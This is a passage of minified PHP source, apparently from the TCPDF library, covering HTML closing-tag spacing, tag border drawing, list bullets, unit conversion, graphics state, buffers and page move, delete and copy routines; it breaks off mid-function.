'div':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'blockquote':{if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'p':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'pre':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);$this->premode=false;break;}case 'dl':{--$this->listnum;if($this->listnum<=0){$this->listnum=0;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);}else {$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);}$this->resetLastH();break;}case 'dt':{$this->lispacer='';$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case 'dd':{$this->lispacer='';if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case 'ul':case 'ol':{--$this->listnum;$this->lispacer='';if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;if($this->listnum<=0){$this->listnum=0;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);}else {$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);}$this->resetLastH();break;}case 'li':{$this->lispacer='';$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case 'h1':case 'h2':case 'h3':case 'h4':case 'h5':case 'h6':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'form':{$this->form_action='';$this->form_enctype='application/x-www-form-urlencoded';break;}default:{break;}}$this->drawHTMLTagBorder($parent,$xmax);if(isset($dom[($dom[$key]['parent'])]['attribute']['pagebreakafter'])){$pba=$dom[($dom[$key]['parent'])]['attribute']['pagebreakafter'];if(($pba=='true') OR ($pba=='left') OR ($pba=='right')){$this->checkPageBreak($this->PageBreakTrigger+1);}if((($pba=='left') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($pba=='right') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);}}$this->tmprtl=false;return $dom;} function addHTMLVertSpace($hbz=0,$hb=0,$cell=false,$firsttag=false,$lasttag=false){if($firsttag){$this->Ln(0,$cell);$this->htmlvspace=0;return;}if($lasttag){$this->Ln($hbz,$cell);$this->htmlvspace=0;return;}if($hb<$this->htmlvspace){$hd=0;}else {$hd=$hb-$this->htmlvspace;$this->htmlvspace=$hb;}$this->Ln(($hbz+$hd),$cell);} function getBorderStartPosition(){if($this->rtl){$xmax=$this->lMargin;}else {$xmax=$this->w-$this->rMargin;}return array('page'=>$this->page,'column'=>$this->current_column,'x'=>$this->x,'y'=>$this->y,'xmax'=>$xmax);} function drawHTMLTagBorder($tag,$xmax){if(!isset($tag['borderposition'])){return;}$prev_x=$this->x;$prev_y=$this->y;$prev_lasth=$this->lasth;$border=0;$fill=false;$this->lasth=0;if(isset($tag['border']) AND !empty($tag['border'])){$border=$tag['border'];if(!TCPDF_STATIC::empty_string($this->thead) AND (!$this->inthead)){$border=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);}}if(isset($tag['bgcolor']) AND ($tag['bgcolor']!==false)){$old_bgcolor=$this->bgcolor;$this->SetFillColorArray($tag['bgcolor']);$fill=true;}if(!$border AND !$fill){return;}if(isset($tag['attribute']['cellspacing'])){$clsp=$this->getHTMLUnitToUnits($tag['attribute']['cellspacing'],1,'px');$cellspacing=array('H'=>$clsp,'V'=>$clsp);}elseif(isset($tag['border-spacing'])){$cellspacing=$tag['border-spacing'];}else {$cellspacing=array('H'=>0,'V'=>0);}if(($tag['value']!='table') AND (is_array($border)) AND (!empty($border))){$border['mode']='ext';}if($this->rtl){if($xmax>=$tag['borderposition']['x']){$xmax=$tag['borderposition']['xmax'];}$w=($tag['borderposition']['x']-$xmax);}else {if($xmax<=$tag['borderposition']['x']){$xmax=$tag['borderposition']['xmax'];}$w=($xmax-$tag['borderposition']['x']);}if($w<=0){return;}$w+=$cellspacing['H'];$startpage=$tag['borderposition']['page'];$startcolumn=$tag['borderposition']['column'];$x=$tag['borderposition']['x'];$y=$tag['borderposition']['y'];$endpage=$this->page;$starty=$tag['borderposition']['y']-$cellspacing['V'];$currentY=$this->y;$this->x=$x;$endcolumn=$this->current_column;if($this->num_columns==0){$this->num_columns=1;}$border_start=TCPDF_STATIC::getBorderMode($border,$position='start',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position='end',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);$temp_page_regions=$this->page_regions;$this->page_regions=array();for($page=$startpage;$page<=$endpage;++$page){$ccode='';$this->setPage($page);if($this->num_columns<2){$this->x=$x;$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x-=($this->pagedim[$page]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$page]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$page]['olm']-$this->pagedim[$startpage]['olm']);}}if($startpage==$endpage){for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($startcolumn==$endcolumn){$cborder=$border;$h=($currentY-$y)+$cellspacing['V'];$this->y=$starty;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$h=$this->h-$this->y-$this->bMargin;}elseif($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$startpage){for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$h=$this->h-$this->y-$this->bMargin;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$endpage){for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}else {for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}if($cborder OR $fill){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid]['transfmrk']);$pagemark=$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey];$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid]['intmrk'];$this->xobjects[$this->xobjid]['intmrk']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid]['outdata'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid]['outdata']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];}else {$pagemark=$this->intmrk[$this->page];}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);$this->bordermrk[$this->page]+=$offsetlen;$this->cntmrk[$this->page]+=$offsetlen;}}}$this->page_regions=$temp_page_regions;if(isset($old_bgcolor)){$this->SetFillColorArray($old_bgcolor);}$this->x=$prev_x;$this->y=$prev_y;$this->lasth=$prev_lasth;} function setLIsymbol($symbol='!'){if(substr($symbol,0,4)=='img|'){$this->lisymbol=$symbol;return;}$symbol=strtolower($symbol);$valid_symbols=array('!','#','disc','circle','square','1','decimal','decimal-leading-zero','i','lower-roman','I','upper-roman','a','lower-alpha','lower-latin','A','upper-alpha','upper-latin','lower-greek');if(in_array($symbol,$valid_symbols)){$this->lisymbol=$symbol;}else {$this->lisymbol='';}} function SetBooklet($booklet=true,$inner=-1,$outer=-1){$this->booklet=$booklet;if($inner>=0){$this->lMargin=$inner;}if($outer>=0){$this->rMargin=$outer;}} function swapMargins($reverse=true){if($reverse){$mtemp=$this->original_lMargin;$this->original_lMargin=$this->original_rMargin;$this->original_rMargin=$mtemp;$deltam=$this->original_lMargin-$this->original_rMargin;$this->lMargin+=$deltam;$this->rMargin-=$deltam;}} function setHtmlVSpace($tagvs){$this->tagvspaces=$tagvs;} function setListIndentWidth($width){return $this->customlistindent=floatval($width);} function setOpenCell($isopen){$this->opencell=$isopen;} function setHtmlLinksStyle($color=array(0,0,255),$fontstyle='U'){$this->htmlLinkColorArray=$color;$this->htmlLinkFontStyle=$fontstyle;} function getHTMLUnitToUnits($htmlval,$refsize=1,$defaultunit='px',$points=false){$supportedunits=array('%','em','ex','px','in','cm','mm','pc','pt');$retval=0;$value=0;$unit='px';if($points){$k=1;}else {$k=$this->k;}if(in_array($defaultunit,$supportedunits)){$unit=$defaultunit;}if(is_numeric($htmlval)){$value=floatval($htmlval);}elseif(preg_match('/([0-9\.\-\+]+)/',$htmlval,$mnum)){$value=floatval($mnum[1]);if(preg_match('/([a-z%]+)/',$htmlval,$munit)){if(in_array($munit[1],$supportedunits)){$unit=$munit[1];}}}switch($unit){case '%':{$retval=(($value*$refsize)/100);break;}case 'em':{$retval=($value*$refsize);break;}case 'ex':{$retval=($value*($refsize/2));break;}case 'in':{$retval=(($value*$this->dpi)/$k);break;}case 'cm':{$retval=(($value/2.54*$this->dpi)/$k);break;}case 'mm':{$retval=(($value/25.4*$this->dpi)/$k);break;}case 'pc':{$retval=(($value*12)/$k);break;}case 'pt':{$retval=($value/$k);break;}case 'px':{$retval=$this->pixelsToUnits($value);if($points){$retval*=$this->k;}break;}}return $retval;} function putHtmlListBullet($listdepth,$listtype='',$size=10){if($this->state!=2){return;}$size/=$this->k;$fill='';$bgcolor=$this->bgcolor;$color=$this->fgcolor;$strokecolor=$this->strokecolor;$width=0;$textitem='';$tmpx=$this->x;$lspace=$this->GetStringWidth(' ');if($listtype=='^'){$this->lispacer='';return;}elseif($listtype=='!'){$deftypes=array('disc','circle','square');$listtype=$deftypes[($listdepth-1)%3];}elseif($listtype=='#'){$listtype='decimal';}elseif(substr($listtype,0,4)=='img|'){$img=explode('|',$listtype);$listtype='img';}switch($listtype){case 'none':{break;}case 'disc':{$r=$size/6;$lspace+=(2*$r);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Circle(($this->x+$r),($this->y+($this->lasth/2)),$r,0,360,'F',array(),$color,8);break;}case 'circle':{$r=$size/6;$lspace+=(2*$r);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$prev_line_style=$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor;$new_line_style=array('width'=>($r/3),'cap'=>'butt','join'=>'miter','dash'=>0,'phase'=>0,'color'=>$color);$this->Circle(($this->x+$r),($this->y+($this->lasth/2)),($r*(1-(1/6))),0,360,'D',$new_line_style,array(),8);$this->_out($prev_line_style);break;}case 'square':{$l=$size/3;$lspace+=$l;if($this->rtl){;$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Rect($this->x,($this->y+(($this->lasth-$l)/2)),$l,$l,'F',array(),$color);break;}case 'img':{$lspace+=$img[2];if($this->rtl){;$this->x+=$lspace;}else {$this->x-=$lspace;}$imgtype=strtolower($img[1]);$prev_y=$this->y;switch($imgtype){case 'svg':{$this->ImageSVG($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],'','T','',0,false);break;}case 'ai':case 'eps':{$this->ImageEps($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],'',true,'T','',0,false);break;}default:{$this->Image($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],$img[1],'','T',false,300,'',false,false,0,false,false,false);break;}}$this->y=$prev_y;break;}case '1':case 'decimal':{$textitem=$this->listcount[$this->listnum];break;}case 'decimal-leading-zero':{$textitem=sprintf('%02d',$this->listcount[$this->listnum]);break;}case 'i':case 'lower-roman':{$textitem=strtolower(TCPDF_STATIC::intToRoman($this->listcount[$this->listnum]));break;}case 'I':case 'upper-roman':{$textitem=TCPDF_STATIC::intToRoman($this->listcount[$this->listnum]);break;}case 'a':case 'lower-alpha':case 'lower-latin':{$textitem=chr(97+$this->listcount[$this->listnum]-1);break;}case 'A':case 'upper-alpha':case 'upper-latin':{$textitem=chr(65+$this->listcount[$this->listnum]-1);break;}case 'lower-greek':{$textitem=TCPDF_FONTS::unichr((945+$this->listcount[$this->listnum]-1),$this->isunicode);break;}default:{$textitem=$this->listcount[$this->listnum];}}if(!TCPDF_STATIC::empty_string($textitem)){$prev_y=$this->y;$h=$this->getCellHeight($this->FontSize);if($this->checkPageBreak($h) OR ($this->y<$prev_y)){$tmpx=$this->x;}if($this->rtl){$textitem='.'.$textitem;}else {$textitem=$textitem.'.';}$lspace+=$this->GetStringWidth($textitem);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Write($this->lasth,$textitem,'',false,'',false,0,false);}$this->x=$tmpx;$this->lispacer='^';$this->SetFillColorArray($bgcolor);$this->SetDrawColorArray($strokecolor);$this->SettextColorArray($color);} function getGraphicVars(){$grapvars=array('FontFamily'=>$this->FontFamily,'FontStyle'=>$this->FontStyle,'FontSizePt'=>$this->FontSizePt,'rMargin'=>$this->rMargin,'lMargin'=>$this->lMargin,'cell_padding'=>$this->cell_padding,'cell_margin'=>$this->cell_margin,'LineWidth'=>$this->LineWidth,'linestyleWidth'=>$this->linestyleWidth,'linestyleCap'=>$this->linestyleCap,'linestyleJoin'=>$this->linestyleJoin,'linestyleDash'=>$this->linestyleDash,'textrendermode'=>$this->textrendermode,'textstrokewidth'=>$this->textstrokewidth,'DrawColor'=>$this->DrawColor,'FillColor'=>$this->FillColor,'TextColor'=>$this->TextColor,'ColorFlag'=>$this->ColorFlag,'bgcolor'=>$this->bgcolor,'fgcolor'=>$this->fgcolor,'htmlvspace'=>$this->htmlvspace,'listindent'=>$this->listindent,'listindentlevel'=>$this->listindentlevel,'listnum'=>$this->listnum,'listordered'=>$this->listordered,'listcount'=>$this->listcount,'lispacer'=>$this->lispacer,'cell_height_ratio'=>$this->cell_height_ratio,'font_stretching'=>$this->font_stretching,'font_spacing'=>$this->font_spacing,'alpha'=>$this->alpha,'lasth'=>$this->lasth,'tMargin'=>$this->tMargin,'bMargin'=>$this->bMargin,'AutoPageBreak'=>$this->AutoPageBreak,'PageBreakTrigger'=>$this->PageBreakTrigger,'x'=>$this->x,'y'=>$this->y,'w'=>$this->w,'h'=>$this->h,'wPt'=>$this->wPt,'hPt'=>$this->hPt,'fwPt'=>$this->fwPt,'fhPt'=>$this->fhPt,'page'=>$this->page,'current_column'=>$this->current_column,'num_columns'=>$this->num_columns);return $grapvars;} function setGraphicVars($gvars,$extended=false){if($this->state!=2){return;}$this->FontFamily=$gvars['FontFamily'];$this->FontStyle=$gvars['FontStyle'];$this->FontSizePt=$gvars['FontSizePt'];$this->rMargin=$gvars['rMargin'];$this->lMargin=$gvars['lMargin'];$this->cell_padding=$gvars['cell_padding'];$this->cell_margin=$gvars['cell_margin'];$this->LineWidth=$gvars['LineWidth'];$this->linestyleWidth=$gvars['linestyleWidth'];$this->linestyleCap=$gvars['linestyleCap'];$this->linestyleJoin=$gvars['linestyleJoin'];$this->linestyleDash=$gvars['linestyleDash'];$this->textrendermode=$gvars['textrendermode'];$this->textstrokewidth=$gvars['textstrokewidth'];$this->DrawColor=$gvars['DrawColor'];$this->FillColor=$gvars['FillColor'];$this->TextColor=$gvars['TextColor'];$this->ColorFlag=$gvars['ColorFlag'];$this->bgcolor=$gvars['bgcolor'];$this->fgcolor=$gvars['fgcolor'];$this->htmlvspace=$gvars['htmlvspace'];$this->listindent=$gvars['listindent'];$this->listindentlevel=$gvars['listindentlevel'];$this->listnum=$gvars['listnum'];$this->listordered=$gvars['listordered'];$this->listcount=$gvars['listcount'];$this->lispacer=$gvars['lispacer'];$this->cell_height_ratio=$gvars['cell_height_ratio'];$this->font_stretching=$gvars['font_stretching'];$this->font_spacing=$gvars['font_spacing'];$this->alpha=$gvars['alpha'];if($extended){$this->lasth=$gvars['lasth'];$this->tMargin=$gvars['tMargin'];$this->bMargin=$gvars['bMargin'];$this->AutoPageBreak=$gvars['AutoPageBreak'];$this->PageBreakTrigger=$gvars['PageBreakTrigger'];$this->x=$gvars['x'];$this->y=$gvars['y'];$this->w=$gvars['w'];$this->h=$gvars['h'];$this->wPt=$gvars['wPt'];$this->hPt=$gvars['hPt'];$this->fwPt=$gvars['fwPt'];$this->fhPt=$gvars['fhPt'];$this->page=$gvars['page'];$this->current_column=$gvars['current_column'];$this->num_columns=$gvars['num_columns'];}$this->_out(''.$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' '.$this->FillColor.'');if(!TCPDF_STATIC::empty_string($this->FontFamily)){$this->SetFont($this->FontFamily,$this->FontStyle,$this->FontSizePt);}} function _outSaveGraphicsState(){$this->_out('q');} function _outRestoreGraphicsState(){$this->_out('Q');} function setBuffer($data){$this->bufferlen+=strlen($data);$this->buffer.=$data;} function replaceBuffer($data){$this->bufferlen=strlen($data);$this->buffer=$data;} function getBuffer(){return $this->buffer;} function setPageBuffer($page,$data,$append=false){if($append){$this->pages[$page].=$data;}else {$this->pages[$page]=$data;}if($append AND isset($this->pagelen[$page])){$this->pagelen[$page]+=strlen($data);}else {$this->pagelen[$page]=strlen($data);}} function getPageBuffer($page){if(isset($this->pages[$page])){return $this->pages[$page];}return false;} function setImageBuffer($image,$data){if(($data['i']=array_search($image,$this->imagekeys))===FALSE){$this->imagekeys[$this->numimages]=$image;$data['i']=$this->numimages;++$this->numimages;}$this->images[$image]=$data;return $data['i'];} function setImageSubBuffer($image,$key,$data){if(!isset($this->images[$image])){$this->setImageBuffer($image,array());}$this->images[$image][$key]=$data;} function getImageBuffer($image){if(isset($this->images[$image])){return $this->images[$image];}return false;} function setFontBuffer($font,$data){$this->fonts[$font]=$data;if(!in_array($font,$this->fontkeys)){$this->fontkeys[]=$font;++$this->n;$this->font_obj_ids[$font]=$this->n;$this->setFontSubBuffer($font,'n',$this->n);}} function setFontSubBuffer($font,$key,$data){if(!isset($this->fonts[$font])){$this->setFontBuffer($font,array());}$this->fonts[$font][$key]=$data;} function getFontBuffer($font){if(isset($this->fonts[$font])){return $this->fonts[$font];}return false;} function movePage($frompage,$topage){if(($frompage>$this->numpages) OR ($frompage<=$topage)){return false;}if($frompage==$this->page){$this->endPage();}$tmppage=$this->getPageBuffer($frompage);$tmppagedim=$this->pagedim[$frompage];$tmppagelen=$this->pagelen[$frompage];$tmpintmrk=$this->intmrk[$frompage];$tmpbordermrk=$this->bordermrk[$frompage];$tmpcntmrk=$this->cntmrk[$frompage];$tmppageobjects=$this->pageobjects[$frompage];if(isset($this->footerpos[$frompage])){$tmpfooterpos=$this->footerpos[$frompage];}if(isset($this->footerlen[$frompage])){$tmpfooterlen=$this->footerlen[$frompage];}if(isset($this->transfmrk[$frompage])){$tmptransfmrk=$this->transfmrk[$frompage];}if(isset($this->PageAnnots[$frompage])){$tmpannots=$this->PageAnnots[$frompage];}if(isset($this->newpagegroup) AND !empty($this->newpagegroup)){for($i=$frompage;$i>$topage;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$frompage)){--$this->pagegroups[$this->newpagegroup[$i]];break;}}for($i=$topage;$i>0;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$topage)){++$this->pagegroups[$this->newpagegroup[$i]];break;}}}for($i=$frompage;$i>$topage;--$i){$j=$i-1;$this->setPageBuffer($i,$this->getPageBuffer($j));$this->pagedim[$i]=$this->pagedim[$j];$this->pagelen[$i]=$this->pagelen[$j];$this->intmrk[$i]=$this->intmrk[$j];$this->bordermrk[$i]=$this->bordermrk[$j];$this->cntmrk[$i]=$this->cntmrk[$j];$this->pageobjects[$i]=$this->pageobjects[$j];if(isset($this->footerpos[$j])){$this->footerpos[$i]=$this->footerpos[$j];}elseif(isset($this->footerpos[$i])){unset($this->footerpos[$i]);}if(isset($this->footerlen[$j])){$this->footerlen[$i]=$this->footerlen[$j];}elseif(isset($this->footerlen[$i])){unset($this->footerlen[$i]);}if(isset($this->transfmrk[$j])){$this->transfmrk[$i]=$this->transfmrk[$j];}elseif(isset($this->transfmrk[$i])){unset($this->transfmrk[$i]);}if(isset($this->PageAnnots[$j])){$this->PageAnnots[$i]=$this->PageAnnots[$j];}elseif(isset($this->PageAnnots[$i])){unset($this->PageAnnots[$i]);}if(isset($this->newpagegroup[$j])){$this->newpagegroup[$i]=$this->newpagegroup[$j];unset($this->newpagegroup[$j]);}if($this->currpagegroup==$j){$this->currpagegroup=$i;}}$this->setPageBuffer($topage,$tmppage);$this->pagedim[$topage]=$tmppagedim;$this->pagelen[$topage]=$tmppagelen;$this->intmrk[$topage]=$tmpintmrk;$this->bordermrk[$topage]=$tmpbordermrk;$this->cntmrk[$topage]=$tmpcntmrk;$this->pageobjects[$topage]=$tmppageobjects;if(isset($tmpfooterpos)){$this->footerpos[$topage]=$tmpfooterpos;}elseif(isset($this->footerpos[$topage])){unset($this->footerpos[$topage]);}if(isset($tmpfooterlen)){$this->footerlen[$topage]=$tmpfooterlen;}elseif(isset($this->footerlen[$topage])){unset($this->footerlen[$topage]);}if(isset($tmptransfmrk)){$this->transfmrk[$topage]=$tmptransfmrk;}elseif(isset($this->transfmrk[$topage])){unset($this->transfmrk[$topage]);}if(isset($tmpannots)){$this->PageAnnots[$topage]=$tmpannots;}elseif(isset($this->PageAnnots[$topage])){unset($this->PageAnnots[$topage]);}$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline['f']){if(($outline['p']>=$topage) AND ($outline['p']<$frompage)){$this->outlines[$key]['p']=($outline['p']+1);}elseif($outline['p']==$frompage){$this->outlines[$key]['p']=$topage;}}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest['f']){if(($dest['p']>=$topage) AND ($dest['p']<$frompage)){$this->dests[$key]['p']=($dest['p']+1);}elseif($dest['p']==$frompage){$this->dests[$key]['p']=$topage;}}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link['f']){if(($link['p']>=$topage) AND ($link['p']<$frompage)){$this->links[$key]['p']=($link['p']+1);}elseif($link['p']==$frompage){$this->links[$key]['p']=$topage;}}}$jfrompage=$frompage;$jtopage=$topage;if(preg_match_all('/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/',$this->javascript,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$pagenum=intval($pamatch[3][$pk])+1;if(($pagenum>=$jtopage) AND ($pagenum<$jfrompage)){$newpage=($pagenum+1);}elseif($pagenum==$jfrompage){$newpage=$jtopage;}else {$newpage=$pagenum;}--$newpage;$newjs="this.addField(\'".$pamatch[1][$pk]."\',\'".$pamatch[2][$pk]."\',".$newpage;$this->javascript=str_replace($pmatch,$newjs,$this->javascript);}unset($pamatch);}$this->lastPage(true);return true;} function deletePage($page){if(($page<1) OR ($page>$this->numpages)){return false;}unset($this->pages[$page]);unset($this->pagedim[$page]);unset($this->pagelen[$page]);unset($this->intmrk[$page]);unset($this->bordermrk[$page]);unset($this->cntmrk[$page]);foreach($this->pageobjects[$page] as $oid){if(isset($this->offsets[$oid])){unset($this->offsets[$oid]);}}unset($this->pageobjects[$page]);if(isset($this->footerpos[$page])){unset($this->footerpos[$page]);}if(isset($this->footerlen[$page])){unset($this->footerlen[$page]);}if(isset($this->transfmrk[$page])){unset($this->transfmrk[$page]);}if(isset($this->PageAnnots[$page])){unset($this->PageAnnots[$page]);}if(isset($this->newpagegroup) AND !empty($this->newpagegroup)){for($i=$page;$i>0;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$page)){--$this->pagegroups[$this->newpagegroup[$i]];break;}}}if(isset($this->pageopen[$page])){unset($this->pageopen[$page]);}if($page<$this->numpages){for($i=$page;$i<$this->numpages;++$i){$j=$i+1;$this->setPageBuffer($i,$this->getPageBuffer($j));$this->pagedim[$i]=$this->pagedim[$j];$this->pagelen[$i]=$this->pagelen[$j];$this->intmrk[$i]=$this->intmrk[$j];$this->bordermrk[$i]=$this->bordermrk[$j];$this->cntmrk[$i]=$this->cntmrk[$j];$this->pageobjects[$i]=$this->pageobjects[$j];if(isset($this->footerpos[$j])){$this->footerpos[$i]=$this->footerpos[$j];}elseif(isset($this->footerpos[$i])){unset($this->footerpos[$i]);}if(isset($this->footerlen[$j])){$this->footerlen[$i]=$this->footerlen[$j];}elseif(isset($this->footerlen[$i])){unset($this->footerlen[$i]);}if(isset($this->transfmrk[$j])){$this->transfmrk[$i]=$this->transfmrk[$j];}elseif(isset($this->transfmrk[$i])){unset($this->transfmrk[$i]);}if(isset($this->PageAnnots[$j])){$this->PageAnnots[$i]=$this->PageAnnots[$j];}elseif(isset($this->PageAnnots[$i])){unset($this->PageAnnots[$i]);}if(isset($this->newpagegroup[$j])){$this->newpagegroup[$i]=$this->newpagegroup[$j];unset($this->newpagegroup[$j]);}if($this->currpagegroup==$j){$this->currpagegroup=$i;}if(isset($this->pageopen[$j])){$this->pageopen[$i]=$this->pageopen[$j];}elseif(isset($this->pageopen[$i])){unset($this->pageopen[$i]);}}unset($this->pages[$this->numpages]);unset($this->pagedim[$this->numpages]);unset($this->pagelen[$this->numpages]);unset($this->intmrk[$this->numpages]);unset($this->bordermrk[$this->numpages]);unset($this->cntmrk[$this->numpages]);foreach($this->pageobjects[$this->numpages] as $oid){if(isset($this->offsets[$oid])){unset($this->offsets[$oid]);}}unset($this->pageobjects[$this->numpages]);if(isset($this->footerpos[$this->numpages])){unset($this->footerpos[$this->numpages]);}if(isset($this->footerlen[$this->numpages])){unset($this->footerlen[$this->numpages]);}if(isset($this->transfmrk[$this->numpages])){unset($this->transfmrk[$this->numpages]);}if(isset($this->PageAnnots[$this->numpages])){unset($this->PageAnnots[$this->numpages]);}if(isset($this->newpagegroup[$this->numpages])){unset($this->newpagegroup[$this->numpages]);}if($this->currpagegroup==$this->numpages){$this->currpagegroup=($this->numpages-1);}if(isset($this->pagegroups[$this->numpages])){unset($this->pagegroups[$this->numpages]);}if(isset($this->pageopen[$this->numpages])){unset($this->pageopen[$this->numpages]);}}--$this->numpages;$this->page=$this->numpages;$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline['f']){if($outline['p']>$page){$this->outlines[$key]['p']=$outline['p']-1;}elseif($outline['p']==$page){unset($this->outlines[$key]);}}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest['f']){if($dest['p']>$page){$this->dests[$key]['p']=$dest['p']-1;}elseif($dest['p']==$page){unset($this->dests[$key]);}}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link['f']){if($link['p']>$page){$this->links[$key]['p']=$link['p']-1;}elseif($link['p']==$page){unset($this->links[$key]);}}}$jpage=$page;if(preg_match_all('/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/',$this->javascript,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$pagenum=intval($pamatch[3][$pk])+1;if($pagenum>=$jpage){$newpage=($pagenum-1);}elseif($pagenum==$jpage){$newpage=1;}else {$newpage=$pagenum;}--$newpage;$newjs="this.addField(\'".$pamatch[1][$pk]."\',\'".$pamatch[2][$pk]."\',".$newpage;$this->javascript=str_replace($pmatch,$newjs,$this->javascript);}unset($pamatch);}if($this->numpages>0){$this->lastPage(true);}return true;} function copyPage($page=0){if($page==0){$page=$this->page;}if(($page<1) OR ($page>$this->numpages)){return false;}$this->endPage();++$this->numpages;$this->page=$this->numpages;$this->setPageBuffer($this->page,$this->getPageBuffer($page));$this->pagedim[$this->page]=$this->pagedim[$page];$this->pagelen[$this->page]=$this->pagelen[$page];$this->intmrk[$this->page]=$this->intmrk[$page];$this->bordermrk[$this->page]=$this->bordermrk[$page];$this->cntmrk[$this->page]=$this->cntmrk[$page];$this->pageobjects[$this->page]=$this->pageobjects[$page];$this->pageopen[$this->page]=false;if(isset($this->footerpos[$page])){$this->footerpos[$this->page]=$this->footerpos[$page];}if(isset($this->footerlen[$page])){$this->footerlen[$this->page]=$this->footerlen[$page];}if(isset($this->transfmrk[$page])){$this->transfmrk[$this->page]=$this->transfmrk[$page];}if(isset($this->PageAnnots[$page])){$this->PageAnnots[$this->page]=$this->PageAnnots[$page];}if(isset($this->newpagegroup[$page])){$this->newpagegroup[$this->page]=sizeof($this->newpagegroup)+1;$this->currpagegroup=$this->newpagegroup[$this->page];$this->pagegroups[$this->currpagegroup]=1;}elseif(isset($this->currpagegroup) AND 